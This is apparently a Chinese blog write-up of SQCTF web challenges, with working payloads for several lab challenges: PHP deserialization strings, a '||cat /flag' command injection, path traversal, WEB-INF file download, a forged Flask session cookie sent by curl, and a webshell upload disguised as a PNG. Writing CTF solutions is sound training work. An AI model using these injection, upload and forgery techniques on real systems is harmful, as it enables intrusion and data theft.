SQCTF 部分题目wp

web

商师一日游

访问/atc1acrd.html

看到source,打开bp进行source认证

得到了碎片1,并且给出了下一关的路径

看到了曲奇想到了cookie,接着用bp修改,将weak修改为strong

给出了碎片2,来到了第三关

给出了这个提示,将网页翻了一遍没找到东西,试试用dirsearch扫目录,结果扫到了robots.txt

给出了碎片4和下一关的路径

要求对这个php代码进行一次rce,给出payload:?hhh=%0a123,进行绕过

给出了碎片5和下一关的路径

按钮是灰色的,说明点不动,F12将disable属性删掉就可以了

给出了碎片6,然后进入隐藏关

看样子要我们用蚁剑进行链接了

在/var/www/html目录下发现第三关可以点开,并且还可以得到碎片三的内容

得到了最后一个碎片,拼接后就是全部的flag了

sqctf{3d57b54fbb67410d8d56858f5a408e89}

My Blog

就github可以点击

点开后是一个pdf,在最后发现了username和password

根据这两个内容,可以直接访问login.php,打开后发现是一个登录框,将用户名和密码输入到里面

ez_game

随便一个超过2048的数值都可以拿到flag

eeaassyy

直接用curl读取网页即可

filter函数会将flag和php替换为stop,需要确保payload不含这些关键词。反序列化后的对象pswd属性必须等于escaping。test类有两个属性user和pswd,默认值分别为test和sunshine

POC:
<?php
class test {
    public $user = 'test';
    public $pswd = 'sunshine';
}
​
$obj = new test();
$obj->pswd = 'escaping';
echo serialize($obj);
?>

payload
O:4:"test":2:{s:4:"user";s:4:"test";s:4:"pswd";s:8:"escaping";}
 

嘿嘿嘿

<?php
highlight_file(__FILE__);
​
class hhh {
    public $file;
    public $content;
​
    public function __construct($file, $content) {
        $this->file = $file;
        $this->content = $content;
    }
​
    public function __destruct() {
        if ($this->file && $this->content) {
            if (strpos($this->file, 'flag') !== false) {
                die("No flag file!");
            }
            if (file_exists($this->file)) {
                die("File already exists!");
            }
            file_put_contents($this->file, $this->content);
        }
    }
}
​
class xxx {
    public $data;
​
    public function __construct($data) {
        $this->data = $data;
    }
​
    public function __toString() {
        return $this->data;
    }
}
​
class yyy {
    public $path;
    public $allowed;
​
    public function __construct($path, $allowed) {
        $this->path = $path;
        $this->allowed = $allowed;
    }
​
    public function __toString() {
        if ($this->allowed) {
            return file_get_contents($this->path);
        } else {
            return "Access Denied!";
        }
    }
}
​
if (isset($_POST['data'])) {
    $data = unserialize($_POST['data']);
​
    if (is_array($data->file) || md5($data->file) === md5("flag.php")) {
        die("No cheating!");
    }
​
    if (strpos($data->file, 'php://') !== false) {
        die("No php protocol!");
    }
​
    if ($data->content === "GET_FLAG") {
        echo "Flag: " . file_get_contents("flag.php");
    }
}
?> 

一个经典的反序列化内容

hhh类:在销毁时检查file属性是否包含flag,若存在则终止。我们需要避免触发此检查。

xxx类:通过__toString返回data属性,用于动态生成字符串。

yyy类:若allowed为true,则读取path文件内容,但需要确保路径正确

POC:
<?php
class hhh {
    public $file;
    public $content;
}
​
class xxx {
    public $data;
    public function __construct($data) {
        $this->data = $data;
    }
}
​
// 创建xxx对象用于动态生成字符串
$xxx = new xxx("a");
// 创建hhh对象,设置file为xxx实例,content为GET_FLAG
$hhh = new hhh();
$hhh->file = $xxx;
$hhh->content = "GET_FLAG";
​
// 输出序列化结果
echo serialize($hhh);
?>

payload:
O:3:"hhh":2:{s:4:"file";O:3:"xxx":1:{s:4:"data";s:1:"a";}s:7:"content";s:8:"GET_FLAG";}

由于这是解出后写的wp,导致传入payload后显示文件已经纯在了,但并没有出现flag,F12查看源代码后得到了flag

Input a number

<?php
​
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['sqctf'])){
    $num = $_GET['sqctf'];
    if($num==114514){
        die("逸一时, 误一世!");
    }
    if(intval($num,0)==114514){
        echo $flag;
    }else{
        echo "看看你输入的数字: ".intval($num,0);
    }
}
​
?> 
payload:?sqctf=0337522
337522 ≠ 114514,绕过 die。
为八进制,intval("0337522", 0) 正好是 114514,满足第二个条件。

baby rce

GET:?param1[]=a&param2[]=b
POST:payload=TYctf::getKey

ping

<?php
if (isset($_GET['ip'])) {
    $ip = $_GET['ip'];
    
    if (strpos($ip, ';') !== false) {
        die('Hacker detected!');
    }
    
    system("ping -c 1 " . $ip);
} else {
    
    highlight_file(__FILE__);
}
?>

代码审计后得知,若 strpos找到了子字符串,就会返回子字符串首次出现位置的索引;若没找到,就会返回 false。否则会执行system("ping -c 1 " . $ip);该代码,然后先对传入的ip进行ping命令,一般都会正常回显,接着执行||后的命令

payload:
?ip=127.0.0.1||ls /
?ip=127.0.0.1||cat /flag

哎呀大大大黑塔

想不到居然要看大黑塔的pv,看了好几遍,都没有找到啥有用的东西,突发奇想尝试视频链接:BV1tXckehEd3,结果跳转到了一个username.php页面

一个反序列化内容,构造一个Secret对象的序列化字符串,其key属性设置为"SQCTF"。当服务器反序列化该字符串时,对象销毁时会触发__destruct方法,从而输出flag。

<?php
class Secret {
    public $key;
}
$obj = new Secret();
$obj->key = "SQCTF";
echo serialize($obj);
?>
payload:O:6:"Secret":1:{s:3:"key";s:5:"SQCTF";}

Through

目录穿越,一开始尝试用../进行穿越,结果发现不行,尝试双写../绕过后发现可行

File_download

java的文件下载,先点击help.txt,给出了这个提示get or post filename to /DownloadServlet ?

通过查阅资料得到了下面的内容

/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class。
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
/WEB-INF/database.properties:数据库配置文件。
​
利用:
通过找到web.xml文件,推断class文件路径,最后下载class文件,通过反编译class文件,得到网站源码。

接着用bp抓包,然后修改请求方式为POST,在使用filename=WEB-INF/web.xml

得到了Web应用的程序配置文件,并且给出了跟flag相关字样的字符串,然后根据命名规则可以得到下面的

payload:/WEB-INF/classes/com/wm/ctf/FlagController.classs

然后去浏览器内将这个文件下载,用记事本打开后是一大堆乱码,使用在线反编译网站进行反编译Java decompiler online,得到一个java程序,将程序给到deepseek,给出了一个python脚本

key = [110, 107, 185, 183, 183, 186, 103, 185, 99, 105, 105, 187, 105, 99, 102, 184, 185, 103, 99, 108, 186, 107, 187, 99, 183, 109, 105, 184, 102, 106, 106, 188, 109, 186, 111, 188]
flag = ''.join([chr((k ^ 48) - 38) for k in key])
print(f"flag{{{flag}}}")

将flag换成SQCTF即可

伪装

整理后的代码如下:

from flask import Flask, session, request, render_template_string
import flask
import os

app = Flask(__name__)
app.secret_key = 'love'

@app.route('/')
def index():
    session['role'] = {
        'is_admin': 0,
        'name': 'aiyamaya'
    }
    with open(__file__, 'r') as file:
        code = file.read()
    return code

@app.route('/admin')
def admin_handler():
    try:
        role = session.get('role')
        if not isinstance(role, dict):
            raise Exception
    except Exception:
        return 'Without you, you are an intruder!'

    if role.get('is_admin') == 1 and role.get('name') == 'sjx':
        flag = os.popen("cat /flag").read()
        message = "Oh, You get me! The flag is: %s" % flag
        return render_template_string(message)
    else:
        return "Error: You don't have the power!"

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80) 

将代码给dp后,提示用flask-unsign生成包含{"role": {"is_admin": 1, "name": "sjx"}}的cookie值,然后使用curl命令进行cookie值的传入

curl -H "Cookie: session=eyJyb2xlIjp7ImlzX2FkbWluIjoxLCJuYW1lIjoic2p4In19.Z_kc3A.GuwucteYP5slVIcJHTB0HIdW04A" http://challenge.qsnctf.com:31481/admin

Look for the homepage

提示的是信息搜集,dirsearch扫目录啥也没有,就想者看看响应包内有没有东西,就用bp开始抓包,并发送到repeter里防爆,结果看到了一个challenge.php

接着进入到这个页面内,得到了一个php代码

Level1绕过
  1. 利用逻辑运算符优先级漏洞: 条件 $verify_code === $code && $pass1 === $flag || $pass2 === "welcome" 中,由于 && 的优先级高于 ||,只要 pass2 设为 welcome,整个条件即成立,无需关心 verify_code 和 pass1 的值

Level2绕过
  1. 构造parse_str和md5匹配条件

    • 使用value3的MD5哈希作为value1中的fly参数值。例如,若value3为a,其MD5为0cc175b9c0f1b6a831c399e269772661,则value1应设置为fly=0cc175b9c0f1b6a831c399e269772661

ggoodd

<?php
highlight_file(__FILE__);
include ("flag.php");
$id=$_POST['id'];
$json=json_decode($_GET['json'],true);
if ($id=='abc'&&$json['x']=="cba")
{
    echo $flag;
}
?>

需要同时满足POST请求中的id参数为abc和GET请求中的json参数解码后包含x键且其值为cba,

GET:
json={"x":"cba"}
POST:
id=abc

开发人员的小失误

dirsearch扫描得到一个/backup.sql,将其下载后用vscode打开就得到了flag

Are you from SQNU?

根据提示用bp修改制定内容就行了

Upload_Level11

上传带木马的png文件,然后bp抓包修改后缀为php

蚁剑连接,根目录下有flag

Upload_Level2

步骤同上

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值